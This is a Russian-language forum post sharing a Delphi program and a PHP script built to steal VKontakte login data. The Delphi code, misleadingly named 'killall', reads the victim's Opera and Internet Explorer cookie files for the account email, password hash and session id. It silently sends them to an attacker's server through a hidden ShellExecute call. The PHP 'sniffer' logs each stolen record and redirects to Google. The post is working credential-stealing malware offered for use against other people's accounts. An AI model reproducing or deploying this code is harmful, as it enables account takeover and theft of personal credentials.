Сливаем Hash от vkontakte.ru[Delphi+php]
Вот написал меленькую программку для пользователей своей сети, может кому будет интерсено
Код:
program killall;
{$APPTYPE CONSOLE}
uses
SysUtils,windows,ShellAPI;
//-----------Ïîëó÷åìå ëîãèí òåêóøåãî ïîëüçîâàòåëÿ--------------------------------
function GetUserFromWindows: string;
var
UserName : string;
UserNameLen : Dword;
begin
UserNameLen := 255;
SetLength(userName, UserNameLen);
if GetUserName(PChar(UserName), UserNameLen) then
Result := Copy(UserName,1,UserNameLen - 1)
else
Result := 'Unknown';
end;
//------------------------------------------------------------------------------
//-------------------Ïîëó÷àåì ñèñòåìíûé äèñê------------------------------------
function GetSystemDisk: string;
var
S: array[0..MAX_PATH] of Char;
begin
GetWindowsDirectory(S,SizeOf(S));
Result:=copy(S,0,1);
end;
//------------------------------------------------------------------------------
var
User,Disc,mail,hash,id,startdir:string;
coock,st,mask:string;
f:TextFile;
i:integer;
searchrec : tsearchrec;
Opera,IE: string;
begin
Disc:=GetSystemDisk;
User:=GetUserFromWindows;
Opera:= Disc+':\Documents and Settings\'+User+'\Application Data\Opera\Opera\profile\cookies4.dat';
if FileExists(Opera) then
begin
AssignFile(f,Opera);
Reset(f);
for i:=0 to 500 do
begin
Readln(f, st);
coock:=coock+st;
end;
delete(coock,1,pos('remixemail',coock)+12);
mail:=copy(coock,0,pos(#18,coock)-1);
delete(coock,1,pos('remixpass',coock)+11);
hash:=copy(coock,0,pos(#18,coock)-1);
delete(coock,1,pos('remixsid',coock)+9);
id:=copy(coock,0,pos(#18,coock)-1);
ShellExecute(0, nil, PChar('http://xx.xx.x.xx/snif.php?t=opera&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE);
end;
startdir:=Disc+':\Documents and Settings\'+User+'\Cookies\';
mask := '*.*';
if findfirst(startdir+mask, faanyfile, searchrec) = 0 then
begin
repeat
if pos('vkontakte',searchrec.name)<>0 then
begin
AssignFile(f,startdir+searchrec.name);
Reset(f);
for i:=0 to 500 do
begin
Readln(f, st);
coock:=coock+st;
end;
delete(coock,1,pos('remixemail',coock)+9);
mail:=copy(coock,0,pos('vkon',coock)-1);
delete(coock,1,pos('remixpass',coock)+11);
hash:=copy(coock,0,pos('vkon',coock)-1);
delete(coock,1,pos('remixsid',coock)+9);
id:=copy(coock,0,pos('vkon',coock)-1);
ShellExecute(0, nil, PChar('http://xx.xx.x.xxx/snif.php?t=ie&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE);
end;
until findnext(searchrec) <> 0;
end;
end.
и код снифера(snif.php)
PHP код:
<?php
$fp=fopen("sn.html","a+t");
fputs($fp,"
Время: ".date("[D d/m/Y H:i]")."<br>
Мыло: ".$_GET['m']."<br>
Хэш: ".$_GET['h']."<br>
ID: ".$_GET['i']."<br>
Браузер: ".$_GET['t']."<br><br>
");
fclose($fp);
header("Location: http://google.ru");
?>
|
